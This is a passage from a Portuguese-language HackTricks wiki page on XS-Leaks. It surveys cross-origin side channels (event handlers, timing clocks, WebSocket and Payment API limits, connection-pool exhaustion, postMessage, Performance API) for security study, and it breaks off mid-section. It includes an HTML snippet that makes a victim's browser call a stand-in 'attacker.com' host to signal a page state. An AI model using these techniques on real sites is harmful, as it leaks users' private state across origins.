mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-22 19:13:39 +00:00
967 lines
88 KiB
Markdown
967 lines
88 KiB
Markdown
# XS-Search/XS-Leaks
|
|
|
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas comunitárias mais avançadas** do mundo.\
|
|
Acesse hoje:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
{% hint style="success" %}
|
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## Informações Básicas
|
|
|
|
XS-Search é um método usado para **extrair informações de origem cruzada** aproveitando **vulnerabilidades de canal lateral**.
|
|
|
|
Os principais componentes envolvidos neste ataque incluem:
|
|
|
|
* **Web Vulnerável**: O site alvo do qual se pretende extrair informações.
|
|
* **Web do Atacante**: O site malicioso criado pelo atacante, que a vítima visita, hospedando a exploração.
|
|
* **Método de Inclusão**: A técnica empregada para incorporar a Web Vulnerável na Web do Atacante (por exemplo, window.open, iframe, fetch, tag HTML com href, etc.).
|
|
* **Técnica de Leak**: Técnicas usadas para discernir diferenças no estado da Web Vulnerável com base nas informações coletadas através do método de inclusão.
|
|
* **Estados**: As duas condições potenciais da Web Vulnerável, que o atacante visa distinguir.
|
|
* **Diferenças Detectáveis**: Variações observáveis nas quais o atacante se baseia para inferir o estado da Web Vulnerável.
|
|
|
|
### Diferenças Detectáveis
|
|
|
|
Vários aspectos podem ser analisados para diferenciar os estados da Web Vulnerável:
|
|
|
|
* **Código de Status**: Distinguir entre **vários códigos de status de resposta HTTP** de origem cruzada, como erros de servidor, erros de cliente ou erros de autenticação.
|
|
* **Uso de API**: Identificar **uso de APIs Web** entre páginas, revelando se uma página de origem cruzada utiliza uma API Web JavaScript específica.
|
|
* **Redirecionamentos**: Detectar navegações para diferentes páginas, não apenas redirecionamentos HTTP, mas também aqueles acionados por JavaScript ou HTML.
|
|
* **Conteúdo da Página**: Observar **variações no corpo da resposta HTTP** ou em sub-recursos da página, como o **número de frames incorporados** ou disparidades de tamanho em imagens.
|
|
* **Cabeçalho HTTP**: Notar a presença ou possivelmente o valor de um **cabeçalho de resposta HTTP específico**, incluindo cabeçalhos como X-Frame-Options, Content-Disposition e Cross-Origin-Resource-Policy.
|
|
* **Tempo**: Notar disparidades de tempo consistentes entre os dois estados.
|
|
|
|
### Métodos de Inclusão
|
|
|
|
* **Elementos HTML**: HTML oferece vários elementos para **inclusão de recursos de origem cruzada**, como folhas de estilo, imagens ou scripts, forçando o navegador a solicitar um recurso não-HTML. Uma compilação de potenciais elementos HTML para esse propósito pode ser encontrada em [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
|
|
* **Frames**: Elementos como **iframe**, **object** e **embed** podem incorporar recursos HTML diretamente na página do atacante. Se a página **não tiver proteção contra framing**, o JavaScript pode acessar o objeto window do recurso emoldurado através da propriedade contentWindow.
|
|
* **Pop-ups**: O método **`window.open`** abre um recurso em uma nova aba ou janela, fornecendo um **manipulador de janela** para o JavaScript interagir com métodos e propriedades seguindo o SOP. Pop-ups, frequentemente usados em autenticação única, contornam as restrições de framing e cookies de um recurso alvo. No entanto, navegadores modernos restringem a criação de pop-ups a certas ações do usuário.
|
|
* **Requisições JavaScript**: O JavaScript permite requisições diretas a recursos alvo usando **XMLHttpRequests** ou a **Fetch API**. Esses métodos oferecem controle preciso sobre a requisição, como optar por seguir redirecionamentos HTTP.
|
|
|
|
### Técnicas de Leak
|
|
|
|
* **Manipulador de Evento**: Uma técnica clássica de leak em XS-Leaks, onde manipuladores de eventos como **onload** e **onerror** fornecem informações sobre o sucesso ou falha do carregamento de recursos.
|
|
* **Mensagens de Erro**: Exceções JavaScript ou páginas de erro especiais podem fornecer informações de leak, seja diretamente da mensagem de erro ou diferenciando entre sua presença e ausência.
|
|
* **Limites Globais**: Limitações físicas de um navegador, como capacidade de memória ou outros limites impostos pelo navegador, podem sinalizar quando um limite é alcançado, servindo como uma técnica de leak.
|
|
* **Estado Global**: Interações detectáveis com os **estados globais** dos navegadores (por exemplo, a interface History) podem ser exploradas. Por exemplo, o **número de entradas** no histórico de um navegador pode oferecer pistas sobre páginas de origem cruzada.
|
|
* **Performance API**: Esta API fornece **detalhes de desempenho da página atual**, incluindo o tempo de rede para o documento e recursos carregados, permitindo inferências sobre recursos solicitados.
|
|
* **Atributos Legíveis**: Alguns atributos HTML são **legíveis de origem cruzada** e podem ser usados como uma técnica de leak. Por exemplo, a propriedade `window.frame.length` permite que o JavaScript conte os frames incluídos em uma página da web de origem cruzada.
|
|
|
|
## Ferramenta e Artigo XSinator
|
|
|
|
XSinator é uma ferramenta automática para **verificar navegadores contra vários XS-Leaks conhecidos** explicados em seu artigo: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)
|
|
|
|
Você pode **acessar a ferramenta em** [**https://xsinator.com/**](https://xsinator.com/)
|
|
|
|
{% hint style="warning" %}
|
|
**XS-Leaks Excluídos**: Tivemos que excluir XS-Leaks que dependem de **trabalhadores de serviço**, pois interfeririam em outros leaks no XSinator. Além disso, escolhemos **excluir XS-Leaks que dependem de má configuração e bugs em uma aplicação web específica**. Por exemplo, má configurações de Cross-Origin Resource Sharing (CORS), vazamento de postMessage ou Cross-Site Scripting. Além disso, excluímos XS-Leaks baseados em tempo, pois frequentemente sofrem de serem lentos, barulhentos e imprecisos.
|
|
{% endhint %}
|
|
|
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas comunitárias mais avançadas** do mundo.\
|
|
Acesse hoje:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
## **Técnicas Baseadas em Tempo**
|
|
|
|
Algumas das técnicas a seguir vão usar o tempo como parte do processo para detectar diferenças nos possíveis estados das páginas web. Existem diferentes maneiras de medir o tempo em um navegador web.
|
|
|
|
**Relógios**: A API [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) permite que os desenvolvedores obtenham medições de tempo de alta resolução.\
|
|
Há um número considerável de APIs que os atacantes podem abusar para criar relógios implícitos: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast\_Channel\_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), animações CSS, e outros.\
|
|
Para mais informações: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/).
|
|
|
|
## Técnicas de Manipulador de Evento
|
|
|
|
### Onload/Onerror
|
|
|
|
* **Métodos de Inclusão**: Frames, Elementos HTML
|
|
* **Diferença Detectável**: Código de Status
|
|
* **Mais informações**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
|
|
* **Resumo**: se tentar carregar um recurso, os eventos onerror/onload são acionados quando o recurso é carregado com sucesso/sem sucesso, é possível descobrir o código de status.
|
|
* **Exemplo de Código**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](https://xsinator.com/testing.html#Event%20Handler%20Leak%20\(Script\))
|
|
|
|
{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %}
|
|
[cookie-bomb-+-onerror-xs-leak.md](xs-search/cookie-bomb-+-onerror-xs-leak.md)
|
|
{% endcontent-ref %}
|
|
|
|
O exemplo de código tenta **carregar objetos de scripts de JS**, mas **outras tags** como objetos, folhas de estilo, imagens, áudios também poderiam ser usadas. Além disso, também é possível injetar a **tag diretamente** e declarar os eventos `onload` e `onerror` dentro da tag (em vez de injetá-los a partir do JS).
|
|
|
|
Há também uma versão sem script deste ataque:
|
|
```html
|
|
<object data="//example.com/404">
|
|
<object data="//attacker.com/?error"></object>
|
|
</object>
|
|
```
|
|
Neste caso, se `example.com/404` não for encontrado, `attacker.com/?error` será carregado.
|
|
|
|
### Onload Timing
|
|
|
|
* **Métodos de Inclusão**: Elementos HTML
|
|
* **Diferença Detectável**: Tempo (geralmente devido ao Conteúdo da Página, Código de Status)
|
|
* **Mais informações**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
|
|
* **Resumo:** A [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** pode ser usada para medir quanto tempo leva para realizar uma solicitação. No entanto, outros relógios podem ser usados, como a [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) que pode identificar tarefas que duram mais de 50ms.
|
|
* **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) outro exemplo em:
|
|
|
|
{% content-ref url="xs-search/performance.now-example.md" %}
|
|
[performance.now-example.md](xs-search/performance.now-example.md)
|
|
{% endcontent-ref %}
|
|
|
|
#### Onload Timing + Tarefa Pesada Forçada
|
|
|
|
Esta técnica é semelhante à anterior, mas o **atacante** também **forçará** alguma ação para levar um **tempo relevante** quando a **resposta for positiva ou negativa** e medirá esse tempo.
|
|
|
|
{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %}
|
|
[performance.now-+-force-heavy-task.md](xs-search/performance.now-+-force-heavy-task.md)
|
|
{% endcontent-ref %}
|
|
|
|
### unload/beforeunload Timing
|
|
|
|
* **Métodos de Inclusão**: Frames
|
|
* **Diferença Detectável**: Tempo (geralmente devido ao Conteúdo da Página, Código de Status)
|
|
* **Mais informações**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
|
|
* **Resumo:** O relógio [SharedArrayBuffer](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) pode ser usado para medir quanto tempo leva para realizar uma solicitação. Outros relógios podem ser usados.
|
|
* **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
|
|
|
|
O tempo necessário para buscar um recurso pode ser medido utilizando os eventos [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload\_event) e [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload\_event). O evento **`beforeunload`** é disparado quando o navegador está prestes a navegar para uma nova página, enquanto o evento **`unload`** ocorre quando a navegação está realmente acontecendo. A diferença de tempo entre esses dois eventos pode ser calculada para determinar a **duração que o navegador gastou buscando o recurso**.
|
|
|
|
### Sandboxed Frame Timing + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
|
|
|
|
* **Métodos de Inclusão**: Frames
|
|
* **Diferença Detectável**: Tempo (geralmente devido ao Conteúdo da Página, Código de Status)
|
|
* **Mais informações**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
|
|
* **Resumo:** A [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API pode ser usada para medir quanto tempo leva para realizar uma solicitação. Outros relógios podem ser usados.
|
|
* **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
|
|
|
|
Foi observado que na ausência de [Proteções de Framing](https://xsleaks.dev/docs/defenses/opt-in/xfo/), o tempo necessário para uma página e seus subrecursos serem carregados pela rede pode ser medido por um atacante. Essa medição é tipicamente possível porque o manipulador `onload` de um iframe é acionado apenas após a conclusão do carregamento de recursos e da execução de JavaScript. Para contornar a variabilidade introduzida pela execução de scripts, um atacante pode empregar o atributo [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) dentro do `<iframe>`. A inclusão deste atributo restringe várias funcionalidades, notavelmente a execução de JavaScript, facilitando assim uma medição que é predominantemente influenciada pelo desempenho da rede.
|
|
```javascript
|
|
// Example of an iframe with the sandbox attribute
|
|
<iframe src="example.html" sandbox></iframe>
|
|
```
|
|
### #ID + error + onload
|
|
|
|
* **Inclusion Methods**: Frames
|
|
* **Detectable Difference**: Page Content
|
|
* **More info**:
|
|
* **Summary**: Se você conseguir fazer a página gerar um erro quando o conteúdo correto for acessado e fazê-la carregar corretamente quando qualquer conteúdo for acessado, então você pode criar um loop para extrair todas as informações sem medir o tempo.
|
|
* **Code Example**:
|
|
|
|
Suponha que você possa **inserir** a **página** que contém o **conteúdo secreto** **dentro de um Iframe**.
|
|
|
|
Você pode **fazer a vítima buscar** o arquivo que contém "_**flag**_" usando um **Iframe** (exploitar um CSRF, por exemplo). Dentro do Iframe, você sabe que o _**evento onload**_ será **executado sempre pelo menos uma vez**. Então, você pode **mudar** a **URL** do **iframe**, mas mudando apenas o **conteúdo** do **hash** dentro da URL.
|
|
|
|
Por exemplo:
|
|
|
|
1. **URL1**: www.attacker.com/xssearch#try1
|
|
2. **URL2**: www.attacker.com/xssearch#try2
|
|
|
|
Se a primeira URL foi **carregada com sucesso**, então, ao **mudar** a parte do **hash** da URL, o **evento onload** **não será acionado** novamente. Mas **se** a página teve algum tipo de **erro** ao **carregar**, então, o **evento onload** será **acionado novamente**.
|
|
|
|
Então, você pode **distinguir entre** uma página **carregada corretamente** ou uma página que teve um **erro** ao ser acessada.
|
|
|
|
### Javascript Execution
|
|
|
|
* **Inclusion Methods**: Frames
|
|
* **Detectable Difference**: Page Content
|
|
* **More info**:
|
|
* **Summary:** Se a **página** está **retornando** o conteúdo **sensível**, **ou** um **conteúdo** que pode ser **controlado** pelo usuário. O usuário pode definir **código JS válido no caso negativo**, um **load** a cada tentativa dentro de **`<script>`** tags, então, em casos **negativos**, o **código** do atacante é **executado**, e em casos **afirmativos**, **nada** será executado.
|
|
* **Code Example:**
|
|
|
|
{% content-ref url="xs-search/javascript-execution-xs-leak.md" %}
|
|
[javascript-execution-xs-leak.md](xs-search/javascript-execution-xs-leak.md)
|
|
{% endcontent-ref %}
|
|
|
|
### CORB - Onerror
|
|
|
|
* **Inclusion Methods**: HTML Elements
|
|
* **Detectable Difference**: Status Code & Headers
|
|
* **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
|
|
* **Summary**: **Cross-Origin Read Blocking (CORB)** é uma medida de segurança que impede que páginas da web carreguem certos recursos sensíveis de origem cruzada para proteger contra ataques como **Spectre**. No entanto, os atacantes podem explorar seu comportamento protetor. Quando uma resposta sujeita ao **CORB** retorna um `Content-Type` _**protegido pelo CORB**_ com `nosniff` e um código de status `2xx`, **CORB** remove o corpo e os cabeçalhos da resposta. Os atacantes que observam isso podem inferir a combinação do **código de status** (indicando sucesso ou erro) e o `Content-Type` (denotando se está protegido pelo **CORB**), levando a uma possível **vazamento** de informações.
|
|
* **Code Example**:
|
|
|
|
Verifique o link de mais informações para mais informações sobre o ataque.
|
|
|
|
### onblur
|
|
|
|
* **Inclusion Methods**: Frames
|
|
* **Detectable Difference**: Page Content
|
|
* **More info**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
|
|
* **Summary**: Vazamento de dados sensíveis do atributo id ou name.
|
|
* **Code Example**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
|
|
|
|
É possível **carregar uma página** dentro de um **iframe** e usar o **`#id_value`** para fazer a página **focar no elemento** do iframe com o id indicado, então, se um sinal **`onblur`** for acionado, o elemento ID existe.\
|
|
Você pode realizar o mesmo ataque com tags **`portal`**.
|
|
|
|
### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
|
|
|
|
* **Inclusion Methods**: Frames, Pop-ups
|
|
* **Detectable Difference**: API Usage
|
|
* **More info**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
|
|
* **Summary**: Coletar informações sensíveis de um postMessage ou usar a presença de postMessages como um oráculo para saber o status do usuário na página
|
|
* **Code Example**: `Qualquer código ouvindo todos os postMessages.`
|
|
|
|
Aplicações frequentemente utilizam [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) para se comunicar entre diferentes origens. No entanto, esse método pode inadvertidamente expor **informações sensíveis** se o parâmetro `targetOrigin` não for especificado corretamente, permitindo que qualquer janela receba as mensagens. Além disso, o simples ato de receber uma mensagem pode atuar como um **oráculo**; por exemplo, certas mensagens podem ser enviadas apenas para usuários que estão logados. Portanto, a presença ou ausência dessas mensagens pode revelar informações sobre o estado ou identidade do usuário, como se ele está autenticado ou não.
|
|
|
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as **ferramentas** da comunidade **mais avançadas** do mundo.\
|
|
Acesse hoje:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
## Global Limits Techniques
|
|
|
|
### WebSocket API
|
|
|
|
* **Inclusion Methods**: Frames, Pop-ups
|
|
* **Detectable Difference**: API Usage
|
|
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
|
|
* **Summary**: Exaurir o limite de conexão WebSocket vaza o número de conexões WebSocket de uma página de origem cruzada.
|
|
* **Code Example**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(FF\)), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(GC\))
|
|
|
|
É possível identificar se, e quantas, **conexões WebSocket uma página alvo usa**. Isso permite que um atacante detecte estados de aplicação e vaze informações ligadas ao número de conexões WebSocket.
|
|
|
|
Se uma **origem** usar o **máximo de objetos de conexão WebSocket**, independentemente do estado de suas conexões, a criação de **novos objetos resultará em exceções JavaScript**. Para executar esse ataque, o site atacante abre o site alvo em um pop-up ou iframe e, em seguida, após o site alvo ter sido carregado, tenta criar o máximo de conexões WebSocket possível. O **número de exceções lançadas** é o **número de conexões WebSocket usadas pela janela do site alvo**.
|
|
|
|
### Payment API
|
|
|
|
* **Inclusion Methods**: Frames, Pop-ups
|
|
* **Detectable Difference**: API Usage
|
|
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
|
|
* **Summary**: Detectar Pedido de Pagamento porque apenas um pode estar ativo ao mesmo tempo.
|
|
* **Code Example**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
|
|
|
|
Esse XS-Leak permite que um atacante **detecte quando uma página de origem cruzada inicia um pedido de pagamento**.
|
|
|
|
Porque **apenas um pedido de pagamento pode estar ativo** ao mesmo tempo, se o site alvo estiver usando a API de Pedido de Pagamento, quaisquer novas tentativas de usar essa API falharão e causarão uma **exceção JavaScript**. O atacante pode explorar isso **tentando periodicamente mostrar a interface da API de Pagamento**. Se uma tentativa causar uma exceção, o site alvo está atualmente usando-a. O atacante pode ocultar essas tentativas periódicas fechando imediatamente a interface após a criação.
|
|
|
|
### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
|
|
|
|
* **Inclusion Methods**:
|
|
* **Detectable Difference**: Timing (geralmente devido ao Conteúdo da Página, Código de Status)
|
|
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
|
|
* **Summary:** Medir o tempo de execução de uma web abusando do loop de eventos JS de thread única.
|
|
* **Code Example**:
|
|
|
|
{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
|
|
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
|
|
{% endcontent-ref %}
|
|
|
|
JavaScript opera em um [modelo de concorrência de loop de eventos de thread única](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop), significando que **só pode executar uma tarefa por vez**. Essa característica pode ser explorada para avaliar **quanto tempo o código de uma origem diferente leva para ser executado**. Um atacante pode medir o tempo de execução de seu próprio código no loop de eventos enviando continuamente eventos com propriedades fixas. Esses eventos serão processados quando o pool de eventos estiver vazio. Se outras origens também estiverem enviando eventos para o mesmo pool, um **atacante pode inferir o tempo que leva para esses eventos externos serem executados observando atrasos na execução de suas próprias tarefas**. Esse método de monitoramento do loop de eventos para atrasos pode revelar o tempo de execução do código de diferentes origens, potencialmente expondo informações sensíveis.
|
|
|
|
{% hint style="warning" %}
|
|
Em um tempo de execução, é possível **eliminar** **fatores de rede** para obter **medições mais precisas**. Por exemplo, carregando os recursos usados pela página antes de carregá-la.
|
|
{% endhint %}
|
|
|
|
### Busy Event Loop <a href="#busy-event-loop" id="busy-event-loop"></a>
|
|
|
|
* **Inclusion Methods**:
|
|
* **Detectable Difference**: Timing (geralmente devido ao Conteúdo da Página, Código de Status)
|
|
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
|
|
* **Summary:** Um método para medir o tempo de execução de uma operação web envolve bloquear intencionalmente o loop de eventos de uma thread e, em seguida, medir **quanto tempo leva para o loop de eventos ficar disponível novamente**. Ao inserir uma operação de bloqueio (como um cálculo longo ou uma chamada de API síncrona) no loop de eventos e monitorar o tempo que leva para o código subsequente começar a ser executado, pode-se inferir a duração das tarefas que estavam sendo executadas no loop de eventos durante o período de bloqueio. Essa técnica aproveita a natureza de thread única do loop de eventos do JavaScript, onde as tarefas são executadas sequencialmente, e pode fornecer insights sobre o desempenho ou comportamento de outras operações que compartilham a mesma thread.
|
|
* **Code Example**:
|
|
|
|
Uma vantagem significativa da técnica de medir o tempo de execução bloqueando o loop de eventos é seu potencial para contornar a **Isolação de Site**. **Isolação de Site** é um recurso de segurança que separa diferentes sites em processos separados, visando impedir que sites maliciosos acessem diretamente dados sensíveis de outros sites. No entanto, ao influenciar o tempo de execução de outra origem através do loop de eventos compartilhado, um atacante pode indiretamente extrair informações sobre as atividades daquela origem. Esse método não depende do acesso direto aos dados da outra origem, mas sim observa o impacto das atividades daquela origem no loop de eventos compartilhado, assim evitando as barreiras protetoras estabelecidas pela **Isolação de Site**.
|
|
|
|
{% hint style="warning" %}
|
|
Em um tempo de execução, é possível **eliminar** **fatores de rede** para obter **medições mais precisas**. Por exemplo, carregando os recursos usados pela página antes de carregá-la.
|
|
{% endhint %}
|
|
|
|
### Connection Pool
|
|
|
|
* **Inclusion Methods**: JavaScript Requests
|
|
* **Detectable Difference**: Timing (geralmente devido ao Conteúdo da Página, Código de Status)
|
|
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
|
* **Summary:** Um atacante poderia bloquear todos os sockets, exceto 1, carregar a web alvo e ao mesmo tempo carregar outra página, o tempo até a última página começar a carregar é o tempo que a página alvo levou para carregar.
|
|
* **Code Example**:
|
|
|
|
{% content-ref url="xs-search/connection-pool-example.md" %}
|
|
[connection-pool-example.md](xs-search/connection-pool-example.md)
|
|
{% endcontent-ref %}
|
|
|
|
Os navegadores utilizam sockets para comunicação com o servidor, mas devido aos recursos limitados do sistema operacional e hardware, **os navegadores são obrigados a impor um limite** no número de sockets concorrentes. Os atacantes podem explorar essa limitação através dos seguintes passos:
|
|
|
|
1. Determinar o limite de sockets do navegador, por exemplo, 256 sockets globais.
|
|
2. Ocupando 255 sockets por um longo período, iniciando 255 requisições para vários hosts, projetadas para manter as conexões abertas sem completar.
|
|
3. Usar o 256º socket para enviar uma requisição para a página alvo.
|
|
4. Tentar uma 257ª requisição para um host diferente. Dado que todos os sockets estão em uso (conforme os passos 2 e 3), essa requisição será enfileirada até que um socket se torne disponível. O atraso antes que essa requisição prossiga fornece ao atacante informações de tempo sobre a atividade de rede relacionada ao socket do 256º (o socket da página alvo). Essa inferência é possível porque os 255 sockets do passo 2 ainda estão ocupados, implicando que qualquer socket recém-disponível deve ser o liberado do passo 3. O tempo que leva para o 256º socket se tornar disponível está, portanto, diretamente ligado ao tempo necessário para a requisição à página alvo ser concluída.
|
|
|
|
Para mais informações: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
|
|
|
### Connection Pool by Destination
|
|
|
|
* **Inclusion Methods**: JavaScript Requests
|
|
* **Detectable Difference**: Timing (geralmente devido ao Conteúdo da Página, Código de Status)
|
|
* **More info**:
|
|
* **Summary:** É como a técnica anterior, mas em vez de usar todos os sockets, o **Google Chrome** impõe um limite de **6 requisições concorrentes para a mesma origem**. Se nós **bloqueamos 5** e então **lançamos uma 6ª** requisição, podemos **medir** e se conseguimos fazer a **página da vítima enviar** mais **requisições** para o mesmo endpoint para detectar um **status** da **página**, a **6ª requisição** levará **mais tempo** e podemos detectá-la.
|
|
|
|
## Performance API Techniques
|
|
|
|
A [`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) oferece insights sobre as métricas de desempenho de aplicações web, ainda mais enriquecida pela [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource\_Timing\_API). A Resource Timing API permite o monitoramento de tempos detalhados de requisições de rede, como a duração das requisições. Notavelmente, quando os servidores incluem o cabeçalho `Timing-Allow-Origin: *` em suas respostas, dados adicionais como o tamanho da transferência e o tempo de busca de domínio se tornam disponíveis.
|
|
|
|
Essa riqueza de dados pode ser recuperada através de métodos como [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) ou [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), fornecendo uma visão abrangente das informações relacionadas ao desempenho. Além disso, a API facilita a medição de tempos de execução calculando a diferença entre timestamps obtidos de [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). No entanto, vale a pena notar que para certas operações em navegadores como o Chrome, a precisão de `performance.now()` pode ser limitada a milissegundos, o que pode afetar a granularidade das medições de tempo.
|
|
|
|
Além das medições de tempo, a Performance API pode ser aproveitada para insights relacionados à segurança. Por exemplo, a presença ou ausência de páginas no objeto `performance` no Chrome pode indicar a aplicação de `X-Frame-Options`. Especificamente, se uma página for bloqueada de ser renderizada em um frame devido a `X-Frame-Options`, ela não será registrada no objeto `performance`, fornecendo uma pista sutil sobre as políticas de framing da página.
|
|
|
|
### Error Leak
|
|
|
|
* **Inclusion Methods**: Frames, HTML Elements
|
|
* **Detectable Difference**: Status Code
|
|
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
|
* **Summary:** Uma requisição que resulta em erros não criará uma entrada de tempo de recurso.
|
|
* **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
|
|
|
|
É possível **diferenciar entre códigos de status de resposta HTTP** porque requisições que levam a um **erro** **não criam uma entrada de desempenho**.
|
|
|
|
### Style Reload Error
|
|
|
|
* **Inclusion Methods**: HTML Elements
|
